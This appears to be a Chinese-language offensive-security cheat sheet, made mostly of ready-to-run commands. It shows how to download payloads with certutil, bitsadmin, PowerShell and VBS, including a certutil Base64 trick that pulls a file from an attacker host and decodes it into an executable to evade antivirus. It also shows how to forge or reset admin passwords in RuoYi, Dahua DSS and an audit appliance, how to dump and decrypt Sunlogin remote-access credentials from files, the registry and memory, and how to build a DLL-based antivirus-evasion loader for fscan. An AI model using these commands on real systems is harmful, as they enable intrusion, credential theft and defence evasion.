windows命令行下载文件
certutil
适用于server 2003以上版本
certutil -urlcache -split -f http://192.168.203.140/b.ps1 d:/b.ps1
以上命令会将http://192.168.203.140/b.ps1下载到本地的d盘
使用CertUtil + Base64来绕过安全软件
通过Base64对恶意文件进行编码,使恶意代码样本看起来像是无害的文本文件,然后使用CertUtil.exe下载后对其进行解码。下载了文本文件使用“Certutil.exe -decode”命令将Base64编码文件解码为可执行文件。
C:\Temp>certutil.exe -urlcache -split -f "https://hackers.home/badcontent.txt" bad.txt
C:\Temp>certutil.exe -decode bad.txt bad.exe
详情参考:
https://learn.microsoft.com/en-us/previous-versions/orphan-topics/ws.10/cc773087(v=ws.10)
bitsadmin
适用于server 2003以上版本
bitsadmin /transfer myDownLoadJob /download /priority normal "http://192.168.203.140/b.ps1" "E:\\phpstudy_pro\\WWW\\b.ps1"
详情参考:https://learn.microsoft.com/zh-cn/windows/win32/bits/bitsadmin-tool
powershell
powershell (new-object Net.WebClient).DownloadFile('http://192.168.203.140/a.ps1','E:\phpstudy_pro\WWW\a.ps1')
vbs
第一种把下载地址直接echo输入download.vbs。直接下载即可。
echo Set Post = CreateObject("Msxml2.XMLHTTP") >>download.vbs
echo Set Shell = CreateObject("Wscript.Shell") >>download.vbs
echo Post.Open "GET","http://192.168.203.140/a.ps1",0 >>download.vbs
echo Post.Send() >>download.vbs
echo Set aGet = CreateObject("ADODB.Stream") >>download.vbs
echo aGet.Mode = 3 >>download.vbs
echo aGet.Type = 1 >>download.vbs
echo aGet.Open() >>download.vbs
echo aGet.Write(Post.responseBody) >>download.vbs
echo aGet.SaveToFile "D:/a.ps1",2 >>download.vbs
第二种保存脚本后再下载指定文件。
echo set a=createobject(^"adod^"+^"b.stream^"):set w=createobject(^"micro^"+^"soft.xmlhttp^"):w.open^"get^",wsh.arguments(0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile wsh.arguments(1),2 >> downfile.vbs
cscript downfile.vbs http://192.168.203.140/a.ps1 D:\\tomcat8.5\\webapps\\x.ps1
浏览器
也可以通过调用浏览器下载
firefox
start firefox http://192.168.1.1:19900/demo.rar
chrome
start chrome http://192.168.1.1:19900/demo.rar
edge
start msedge http://192.168.1.1:19900/demo.rar
360
start 360chrome http://192.168.1.1:19900/demo.rar
数据库权限登web
若依CMS数据库密码加密
当拿到一个若依cms的数据库想登录web的时候,会发现数据库中的密码都是加密过的。
若依默认加密代码在com.ruoyi.framework.shiro.service.SysPasswordService.encryptPassword中:
public String encryptPassword(String loginName, String password, String salt) {
return (new Md5Hash(loginName + password + salt)).toHex();
}
通过loginname+password+salt计算一个md5值,数据库中loginname和salt是已知的,可以通过这段代码输入现有的loginname+任意密码+salt计算出一个新的MD5值,然后将这个值写入数据库就可以登录了。
public static void main(String[] args) {
System.out.println(encryptPassword("majun","adminadmin123111111","880a8c"));
}
大华DSS
系统如上,拿到一个dss 的shell,想要确定一下归属,想进一下web后台看看。发现数据库密码是加密的,尝试123456的md5发现不行。后来发现抓包密码会是加密之后的。直接把加密后的密码值写到数据库中即可登录。
向日葵密码抓取
查找向日葵文件地址方法
wmic process where "name like 'SunloginClient.exe'" get ExecutablePath, ProcessId
老版本
安装版:C:\Program Files\Oray\SunLogin\SunloginClient\config.ini
便携版:C:\ProgramData\Oray\SunloginClient\config.ini
使用工具解密即可:
https://github.com/wafinfo/Sunflower_get_Password
较新版本
注册表获取:在向日葵v11.1.2.38529中,强化了加密机制,删除了配置文件config.ini中的fastcode(本机识别码)字段和encry_pwd(本机验证码)字段,而将这些敏感信息放到了注册表中,我们可以通过注册表查询使用Sunflower_get_Password[5]工具即可解密。
工具:
https://github.com/wafinfo/Sunflower_get_Password
reg query HKEY_USERS\.DEFAULT\Software\Oray\SunLogin\SunloginClient\SunloginInfo
reg query HKEY_USERS\.DEFAULT\Software\Oray\SunLogin\SunloginClient\SunloginGreenInfo
最新版本
内存查找:首先找到向日葵用户进程,然后使用procdump等工具转储进程内存
tasklist /v | findstr /i sunlogin
procdump64.exe -accepteula -ma 进程号
使用Winhex打开转储文件,按下Ctrl+Alt+X快捷键打开十六进制值搜索功能,搜索十六进制值66617374636F646522203A20226b,即可找到本机识别码。
搜索十六进制值636F6C6F725F65646974203E,使用F3快捷键可以跳到下一个匹配处,多跳2次即可找到本机验证码。
免杀
dllmain上线问题
根据微软官方文档,不能在 DllMain 中调用直接或间接尝试获取加载程序锁的任何函数,否则将导致死锁,这意味着不能使用 Sleep(Ex)、WaitForSingleObject 等有等待延迟的函数,此外微软还列举了 DllMain 中不能使用的一些函数如直接或间接使用 LoadLibrary(Ex)、GetStringTypeA 等,CreateProcess 和 CreateThread 可以调用但存在风险:
dllmain里面不能创建进程这个问题是一个坑。
也就是说创建线程申请内存加载shellcode需要在导出函数里面操作,不能再dllmain里面直接操作,需要找到第一个执行的函数就能行,但是麻烦,我们可以可以新定义一个函数来申请内存,加载到内存中,在dllmain中只需要去用CreateThread来调用它就可以了。
fscan免杀
参考https://www.wjlin0.com/archives/1705092744971 ,改文章的思路是将fscan编译成dll然后编写加载器加载dll实现分离免杀,通过该文章了解一下如何将go项目编译成dll格式。fscan编译成dll需要将main.go改成如下格式:
package main
import "C"
import (
"fmt"
"time"
"github.com/shadow1ng/fscan/Plugins"
"github.com/shadow1ng/fscan/common"
)
//export DllCanUnloadNow
func DllCanUnloadNow() {}
//export DllGetClassObject
func DllGetClassObject() {}
//export DllRegisterServer
func DllRegisterServer() {}
//export DllUnregisterServer
func DllUnregisterServer() {}
func init() {
start := time.Now()
var Info common.HostInfo
common.Flag(&Info)
common.Parse(&Info)
Plugins.Scan(Info)
t := time.Now().Sub(start)
fmt.Printf("[*] 扫描结束,耗时: %s\n", t)
}
func main(){}
百度了一下如何将一个go项目编译成dll格式,得到的答案是注释掉main函数并且导出需要的函数就可以了。
而上述代码中导出的几个函数并不是fscan项目中的函数,通过查询得知:
1.DllCanUnloadNow
该函数通常用于 COM(Component Object Model)库,询问 DLL 是否可以从内存中卸载。如果 DLL 可以安全卸载,则返回值应该为 S_OK,否则返回 S_FALSE。在 Go 中这个函数可能不会做任何事情,但在定义接口时仍然需要。
2.DllGetClassObject
该函数是 COM 中的一个标准接口,用于获取一个类工厂对象。通常情况下,这个函数会返回一个接口,通过这个接口可以创建 COM 对象。在 Go 中,空的 DllGetClassObject 函数通常用于确保 DLL 编译时不会出错,即使实际的实现为空。
3.DllRegisterServer
这个函数用于在系统中注册 DLL,主要用于注册 COM 服务器。在系统调用这个函数时,DLL 会在 Windows 注册表中写入一些必要的信息,使得该 DLL 可以被系统或其他程序识别和加载。
4.DllUnregisterServer
与 DllRegisterServer 相反,DllUnregisterServer 用于从系统中注销 DLL,清除之前在注册表中的信息。
而对于原来的main函数中的代码写到init函数中就可以了。
init 函数在 Go 程序启动时自动运行,无需显式调用。在 DLL 中,这意味着每当 DLL 被加载时,init 函数都会执行。
go语言导出函数
Go 使用 //export 注释来标记导出函数,使得它们可以从 DLL 中调用。例如:
package main
import “C”
//export Add
func Add(a, b int) int {
return a + b
}
编译dll
更改完代码后,通过如下命令即可编译dll
GOOS=windows GOARCH=amd64 CGO_ENABLED=1 go build -buildmode=c-shared -o fscan.dll ./main.go
编译x32
默认情况下编译出来的dll是64位的。
使用如下命令想编译32位dll发现得到的还是64位的:
GOARCH=386 GOOS=windows go build -buildmode=c-shared -o fscan.dll
经过查询得知,默认情况下,Go 在 Windows 平台上编译 32 位和 64 位应用程序是支持的。如果你在其他平台(如 macOS 或 Linux)上交叉编译 32 位 Windows DLL,可能需要安装 mingw-w64 或其他 Windows 交叉编译工具链。
由于当前是mac环境,所以需要安装mingw-w64。
mingw-w64 是一套用于 Windows 的交叉编译工具链,它可以生成 32 位和 64 位的 Windows 可执行文件或库。你可以使用 Homebrew 安装它,通过以下命令:
brew install mingw-w64
安装完成后,mingw-w64 会提供多个前缀的编译器,如:
i686-w64-mingw32-gcc: 用于编译 32 位 Windows 可执行文件或 DLL。
x86_64-w64-mingw32-gcc: 用于编译 64 位 Windows 可执行文件或 DLL。
安装完 mingw-w64 后,你可以通过指定 CC 环境变量使用 32 位编译器:
CC=i686-w64-mingw32-gcc GOOS=windows GOARCH=386 CGO_ENABLED=1 go build -buildmode=c-shared -o fscan.dll ./main.go
你可以通过以下命令检查是否安装成功并支持 32 位编译:
i686-w64-mingw32-gcc -v
开发
Go 交叉编译各系统编译命令
# Linux (amd64架构)
GOOS=linux GOARCH=amd64 go build
# Linux (arm64架构)
GOOS=linux GOARCH=arm64 go build
# Windows (amd64架构)
GOOS=windows GOARCH=amd64 go build
# Windows (386架构)
GOOS=windows GOARCH=386 go build
# macOS (arm64架构)
GOOS=darwin GOARCH=arm64 go build
# macOS (amd64架构)
GOOS=darwin GOARCH=amd64 go build
# FreeBSD (amd64架构)
GOOS=freebsd GOARCH=amd64 go build
# OpenBSD (amd64架构)
GOOS=openbsd GOARCH=amd64 go build
CTF
PWN——GCC编译中几种保护打开和关闭的参数
NX:-z execstack / -z noexecstack (关闭 / 开启) 不让执行栈上的数据,于是JMP ESP就不能用了
Canary:-fno-stack-protector /-fstack-protector / -fstack-protector-all (关闭 / 开启 / 全开启) 栈里插入cookie信息
PIE:-no-pie / -pie (关闭 / 开启) 地址随机化,另外打开后会有get_pc_thunk
RELRO:-z norelro / -z lazy / -z now (关闭 / 部分开启 / 完全开启) 对GOT表具有写权限
-fcf-protection=none: 关闭CET
x32下关闭所有保护用如下编译命令:
gcc -m32 -fno-stack-protector -no-pie -z norelro -z execstack -o stack3 stack3.c
x64:
gcc -fno-stack-protector -fcf-protection=none -no-pie -z norelro -z execstack -o stack6 stack6.c
铱迅安全运维审计系统后渗透
数据库配置路径:
/opt/freesvr/web/htdocs/freesvr/audit/include/db_connect.inc.php
重置管理员密码:
update member set password=if((select svalue from setting where sname='PASSWORD_ENCRYPT_TYPE' and svalue=1),aes_encrypt('12345678',(select udf_decrypt(svalue) from setting where sname='PasswordKey')),udf_encrypt('12345678')) where username='admin'
重置完web登陆 admin 12345678